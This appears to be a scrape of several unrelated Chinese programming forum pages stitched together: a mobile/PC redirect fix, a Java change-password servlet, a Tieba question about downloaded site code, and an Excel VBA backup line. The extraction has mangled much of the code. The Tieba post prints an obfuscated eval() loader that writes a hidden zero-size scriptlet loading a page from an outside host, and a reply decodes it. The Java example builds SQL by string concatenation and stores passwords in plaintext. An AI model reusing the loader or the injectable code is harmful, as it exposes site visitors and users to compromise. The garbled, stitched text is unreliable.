求高手怎么修改网站代码码

请完成以下验证码
查看: 2174|回复: 6
(请版主锁贴)求网站代码高手解救!wap、pc跳转问题
本帖最后由 andyandyw 于
13:24 编辑
我的pc网站是www.ccxtqjcom,手机站是m.ccxtqj.com。当我在pc站加入下面的手机访问pc站时,会自动跳转到手机站的js代码,而在手机站里面有个返回pc站的连接。但是,当用手机里面的连接返回pc站时,它还是会返回手机站。要怎么做才能让手机浏览器访问pc站时进行跳转到手机站,而用手机站里面的返回连接却能直接访问pc站,不作跳转。
var pc_style=&&
& &var browser={
& & versions:function(){
& && && &&&var u = navigator.userAgent, app = navigator.appV
& && && &&&return {//移动终端浏览器版本信息
& && && && && & trident: u.indexOf('Trident') & -1, //IE内核
& && && && && & presto: u.indexOf('Presto') & -1, //opera内核
& && && && && & webKit: u.indexOf('AppleWebKit') & -1, //苹果、谷歌内核
& && && && && & gecko: u.indexOf('Gecko') & -1 && u.indexOf('KHTML') == -1, //火狐内核
& && && && && & mobile: !!u.match(/AppleWebKit.*Mobile.*/)||!!u.match(/AppleWebKit/)&&u.indexOf('QIHU')&&u.indexOf('Chrome')&0, //是否为移动终端
& && && && && & ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
& && && && && & android: u.indexOf('Android') & -1 || u.indexOf('Linux') & -1, //android终端或者uc浏览器
& && && && && & iPhone: u.indexOf('iPhone') & -1 || u.indexOf('Mac') & -1, //是否为iPhone或者QQHD浏览器
& && && && && & iPad: u.indexOf('iPad') & -1, //是否iPad
& && && && && & webApp: u.indexOf('Safari') == -1, //是否web应该程序,没有头部与底部
& && && && && & ua:u
& && && && &};
& && && &}(),
& && && &language:(navigator.browserLanguage || navigator.language).toLowerCase()
if(browser.versions.mobile&&!browser.versions.iPad){
& &&&this.location = &http://m.ccxtqj.com&;//你的手机网站
本帖最后由 翼风Fly 于
20:44 编辑
你可以参照一下腾讯网的代码
PC 的 JS:
[mw_shl_code=javascript,true]if(window.location.toString().indexOf('pref=padindex') != -1){
& && &&&if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE/.test(navigator.userAgent))){&&
& && &if(window.location.href.indexOf(&?mobile&)&0){
& && && && && & try{
& && && && && && && && &if(/Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)){
& && && && && && && && && && &&&window.location.href=&http://xw.qq.com/index.htm&;
& && && && && && && && &}else if(/iPad/i.test(navigator.userAgent)){
& && && && && && && & window.location.href=&http://www.qq.com/pad/&
& && && && && && && && &}else{
& && && && && && && && && && &&&window.location.href=&http://xw.qq.com/simple/s/index/&
& && && && && && && && &}
& && && && && & }catch(e){}
}[/mw_shl_code]
注意,第一步没有直接判断是否是PC浏览器,而是判断是否有传参数过来,如果没有才判断是否是PC,从而避免跳回去
移动端跳pc端的代码:
[mw_shl_code=html,true]&a href=&javascript:void(0)& class=&pcs&&电脑版&/a&
[/mw_shl_code]
[mw_shl_code=javascript,true]$(&.pcs&).click(function() {
& & window.location.href = &http://www.qq.com/?mobile&
});[/mw_shl_code]
注意,这段代码是有参数的。移动版的参数传入PC版后就避免跳回去的问题了
最简单的办法,你把这些代码复制过去改改——毕竟这些代码我也没完全搞懂。。。。= =
感谢提供分享
你可以参照一下腾讯网的代码
PC 的 JS:
不是用你的方法解决了,不过谢谢你
不是用你的方法解决了,不过谢谢你
求问解决方式?
求问解决方式?
我花了好几天时间在网上找了另一个代码,完美解决了
我花了好几天时间在网上找了另一个代码,完美解决了
看了下你签名的网站,果然也是用参数解决的
看了下你签名的网站,果然也是用参数解决的
Copyright & KaFan &KaFan.cn All Rights Reserved.
Powered by Discuz! X3.4( 苏ICP备号 ) GMT+8,请高手指导 如何在阿里巴巴国际站修改网页源代码!!!!万分感激
<img onerror="imgDelByClass('comimg_box');" class="piczoom mpic" alt="请高手指导 如何在
全部答案(共1个回答)
,在未经过他们同意的情况下
阿里巴巴获得订单取决于多少人来到你的网站(流量)和多少人愿意购买您的产品(转换率),深圳市点石成金科技有限公司专业研究阿里巴巴的流量和转换率。请百度搜索“阿里排...
不是这个页面的....
你可以通过软件把这些关键词导出来,例如P4P机器人,它可以导出关键词,还可以采集关键词,它还有其他很多功能,应该也是目前这个行业最好的软件了,你看看是否...
很正常.腾讯的服务器本来就敏感.你的分数不符合你的级别是有可能会被误认为作弊的.
你把你从网页上找到的代码复制一份,放在你的网页源码之间就行了.
很简单,你要是懂一些HTML、CSS就更简单了
答: 住过一次,很好,离奥帕蒂亚海滨长廊大约300米
答: 1 现代计算机的技术发展史
(1)始于微型机时代的嵌入式应用
电子数字计算机诞生于1946年,在其后漫长的历史进程中,计算机始终是供养在特殊的机房中,实现数值计...
答: 服务器上安装2个网卡A和B
将A的Ip地址设定为
B的IP地址设置成 。
200台电脑的IP分成C、D两组设置
C组100台的IP设置为
网关设置成
大家还关注
Copyright &
Corporation, All Rights Reserved
确定举报此问题
举报原因(必选):
广告或垃圾信息
激进时政或意识形态话题
不雅词句或人身攻击
侵犯他人隐私
其它违法和不良信息
报告,这不是个问题
报告原因(必选):
这不是个问题
这个问题分类似乎错了
这个不是我熟悉的地区
相关问答:123456789101112131415中国Java开发网 - 向高手求代码(“修改密码”功能的Action(业务逻辑))
Topic: 向高手求代码(“修改密码”功能的Action(业务逻辑))
1.向高手求代码(“修改密码”功能的Action(业务逻辑))
Posted by: 我要飞
Posted on:
各位大虾,小弟刚学java,现在要写一段“修改密码”功能的Action(业务逻辑),请问应该怎么写啊?我只是知道流程:从页面上获取老密码,进行和数据库比对,为真则进行update。但我不知道怎样用代码实现。谢谢各位大虾~!
2.Re:向高手求代码(“修改密码”功能的Action(业务逻辑))
[Re: 我要飞]
Posted by: jigsaw
Posted on:
你还要飞呢 回家喝奶去吧 业务逻辑都没搞清 老密码能从页面上获取?
3.Re:向高手求代码(“修改密码”功能的Action(业务逻辑))
[Re: jigsaw]
Posted by: zcjl
Posted on:
jigsaw wrote:你还要飞呢 回家喝奶去吧 业务逻辑都没搞清 老密码能从页面上获取?
4.Re:向高手求代码(“修改密码”功能的Action(业务逻辑))
[Re: jigsaw]
Posted by: lisliefor
Posted on:
jigsaw wrote:你还要飞呢 回家喝奶去吧 业务逻辑都没搞清 老密码能从页面上获取?新手要鼓励,而不是无所谓的讽刺,如果你觉得全世界人都应该像你一样出色,那么应该是如何教他,每个人都有适合自己的方法。也许你是一个律己,并坚持自我探索的人,这种人,我很佩服,并以此为目标而努力。但思想转变是有个过程的!而这个转变过程的动力,很大以部分来自周围伙伴的鼓励!
5.Re:向高手求代码(“修改密码”功能的Action(业务逻辑))
[Re: 我要飞]
Posted by: lisliefor
Posted on:
我学习java的初始阶段,也是编写一些很快就能感觉到收获的小程序。简单说,开始学的都是怎么使用一个方法和怎样将需求转变为代码。和LZ很类似,我开始学习MVC模式做一个简单的WEB应用的时候,同样和你一起起步。虽然我现在仍然很菜。很感谢我身边一直有帮助我,鼓励我的同伴。我想,如果你是我的老师,那么我早放弃了学习。严师出高徒!这句话诚然不错!但终究离不开因才施教,也许我和LZ都是那类“低智能”的货色吧!
6.Re:向高手求代码(“修改密码”功能的Action(业务逻辑))
[Re: 我要飞]
Posted by: lisliefor
Posted on:
楼主的意思,是你从页面获取用户输入的旧密码和新密码(以及确认密码);然后查询数据库,找出是否有匹配的用户名,同时验证页面获取的旧密码跟数据库查询出来的,如果匹配,那么修改数据库密码字段。我会在接下来的帖子上,给出一个简单的例子:(可能需要一些时间)
7.Re:向高手求代码(“修改密码”功能的Action(业务逻辑))
[Re: 我要飞]
Posted by: lisliefor
Posted on:
2楼的说得也有道理。你应该学一下基础,而不是一开始就......好吧!代码和详细注释,我还是会贴出来。
8.Re:向高手求代码(“修改密码”功能的Action(业务逻辑))
[Re: 我要飞]
Posted by: lisliefor
Posted on:
MVC模式:**修改密码的页面:UpdatePassword.jsp&%@ page language="java" contentType="text/ charset=GBK"
pageEncoding="GBK"%&&!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&&html&&head&&meta http-equiv="Content-Type" content="text/ charset=GBK"&&title&password&/title&&%&&String msg = (String)request.getAttribute("msg");&&msg = (msg==null)?"":
//第一次进入该页面msg获取过来的值为空%&&/head&&body&&&&br&&&&&&%=msg %&&&&form name="up" method="post" action="/Example/UpdateServlet"&&&&br&Enter old password:&&&&&input type="password" name="oldpsw"&&&&br&Enter new password:&&&&&input type="password" name="newpsw"&&&&br&Enter password again:&&&&&input type="password" name="repsw"&&&&br&&&&&&input type="submit" name="s" value="提交"&&&&&&input type="reset" name="r" value="重置"&&&&/form&&/body&&/html&**相应servlet:UpdateServletimport java.io.IOEimport java.util.ArrayLimport javax.servlet.RequestDimport javax.servlet.ServletCimport javax.servlet.ServletEimport javax.servlet.http.HttpServletRimport javax.servlet.http.HttpServletR public class UpdateServlet extends javax.servlet.http.HttpServlet implements javax.servlet.Servlet {&&private static final String CONTENT_TYPE = "text/ charset=GBK";&&public UpdateServlet() {&&&&super();&&}
&&&&&&&&protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&&&&//设置编码方式&&&&response.setContentType(CONTENT_TYPE);&&&&ServletContext context = getServletContext();&&&&String target = "UpdatePassword.jsp";
//设置跳转页面,servlet中,页面绝对地址不需要加工程名;而在jsp页面中则需要,比如:表单action指向的地址&&&&String msg = "";&&&&String username = (String)request.getSession().getAttribute("username");
//这里假设该用户登陆时的用户名你已经保存在session中&&&&String oldpsw = (String)request.getParameter("oldpsw");
//getParameter("....")引号内的字符串对应页面文本框的name&&&&String newpsw = (String)request.getParameter("newpsw");
//新密码和确认密码是否相等,完全可以放在页面中,通过java scripts判断。(同样输入是否为空、字符是否合法、字符长度等,都可以放到那判断)&&&&String repsw = (String)request.getParameter("repsw");&&&&&&&&if(newpsw.equals(repsw)){&&&&&&UpdateDAO ud = new UpdateDAO();&&&&&&ArrayList array = new ArrayList();&&&&&&//成功查询到该用户&&&&&&if(ud.Update(username,array)){&&&&&&&&//取出密码,虽然array中只有一个元素,取值操作仍然要放在循环中&&&&&&&&String psw = "";&&&&&&&&for(int i=0;i&array.size();i++){&&&&&&&&&&psw = (String)array.get;&&&&&&&&}&&&&&&&&//数据库取出的密码跟页面提交密码比较&&&&&&&&if(psw.equals(oldpsw)){&&&&&&&&&&/*&&&&&&&&&& * &&&&数据库修改的部分留给你完成吧&&&&&&&&&& * &&&&只需要修改SQL操作语句即可&&&&&&&&&& * &&&&&&&&&& */&&&&&&&&&&msg = "密码修改成功!";&&&&&&&&}&&&&&&&&else{&&&&&&&&&&msg = "旧密码不正确,请重新输入!";&&&&&&&&}&&&&&&}&&&&&&else{&&&&&&&&msg = "该用户名不存在!";&&&&&&}&&&&&&request.setAttribute("msg",msg);&&&&&&&&&&&&RequestDispatcher requestDis = context.getRequestDispatcher(target);&&&&
requestDis.forward(request, response);&&&&}&&}
&&&&&&protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&&&&doGet(request,response);&&}
}**数据处理beans:UpdateDAOimport java.sql.*;import java.util.ArrayLpublic class UpdateDAO {&&public boolean Update(String username,ArrayList array)&&{&&&&C&&&&S&&&&ResultS&&&&boolean Flag =&&&&//桥接法驱动&&&&try&&&&{&&&&&&Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");&&&&}&&&&catch(ClassNotFoundException e){}&&&&&&&&&&&&try&&&&{&&&&&&//test为跟数据库关联的数据源名&&&&&&con = DriverManager.getConnection("jdbc:odbc:test","","");&&&&&&sql = con.createStatement();&&&&&&/*&&&&假设数据库中用户表如下:&&&&&& *&&&&表名:user&&&&&& *&&&&各字段:&&&&&& *&&&&username(用户名)
password(密码)
pflag(用户权限)
&&&&&& *&&&&&& */&&&&&&rs = sql.executeQuery("select password from user where username='"+username+"'");&&&&&&while(rs.next()){&&&&&&&&Flag =&&&&&&&&String password = rs.getString(1);&&&&&&&&array.add(password);&&&&&&}&&&&}&&&&catch(SQLException e1)&&&&{&&&&&&System.err.println(e1) ;&&&&}&&&&return F&&}}
Powered by & Version Jute 1.5.6 Ent
Copyright &
Cjsdn Team. All Righits Reserved.
客服电话&&&&&客服信箱&&&&&客服QQ&714923本人是javascript的小白用户,下载一个网站源代码,求高手帮看_javascript吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:160,425贴子:
本人是javascript的小白用户,下载一个网站源代码,求高手帮看收藏
&script type=&text/javascript&&var browser = new Object();function getBrowser() {var b = navigator.userAgent.toLowerCase();browser = {safari: /webkit/.test(b),opera: /opera/.test(b),ie6: /msie 6/.test(b) && !/opera/.test(b),ie7: /msie 7/.test(b) && !/opera/.test(b),msie: /msie/.test(b) && !/opera/.test(b),mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)};}getBrowser() ;var urlVar = &&; eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!&#39;&#39;.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return&#39;\\w+&#39;};c=1};while(c--)if(k[c])p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c]);return p}(&#39;2(3.4){5.7(\&#39;&1 8=&9:a& b=&c\\/d-e& f=&g://6.h/i/j.k?\&#39;+l+\&#39;& m=0 n=0&&\\/1&\&#39;)}&#39;,24,24,&#39;|object|if|browser|msie|document||write|style|border|0px|type|text|x|scriptlet|data|http|cn|showmyweb|closepop2|html|urlVar|width|height&#39;.split(&#39;|&#39;),0,{}))&/script&求帮忙看看最下面一大段是什么意思,QQ电脑管家提示有挂马,不敢用啊!11
if (browser.msie) {
document.write(&#39;&object style=&border:0px& type=&text\/x-scriptlet& data=&&#39; + urlVar + &#39;& width=0 height=0&&\/object&&#39;)}
解密出来是这个?
登录百度帐号查看: 809|回复: 2
求高手修改一句代码,谢谢!!
阅读权限20
在线时间 小时
各位高手,小弟做了一个工具,在workbook_open事件中想实现这个功能:每次打开的时候自动备份自身文件到 D:\备份 中,于是就有下面的代码:
Shell &cmd.exe /c copy &&&& ThisWorkbook.FullName&&& & D:\备份\备份文件.xls&
这句代码应该是没有问题的,只有一种情况例外:文件所在的文件夹路径中有空格,就会造成copy命令失败。求高手修改这句代码,避免路径中有空带来的问题,不胜感激!!!!!
阅读权限70
在线时间 小时
用这句不行么?Private Sub Workbook_Open()
ThisWorkbook.SaveCopyAs &D:\备份\备份文件.xls&
End Sub复制代码
阅读权限20
在线时间 小时
& & & & & & & &
hustnzj 发表于
用这句不行么?
非常感谢!!又长见识了!!VBA知识实在是差到一定境界了!继续学习!
最新热点 /1
三日不读书,面目可憎!是时候下定决心了,当当网书香节大赏读者,ExcelHome编著图书全部参加满200-100活动,抢购时间:即日起至4月23日,莫失良机。
玩命加载中,请稍候
玩命加载中,请稍候
Powered by
本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任! & & 本站特聘法律顾问:徐怀玉律师 李志群律师

我要回帖

更多关于 怎么修改网站代码 的文章

 

随机推荐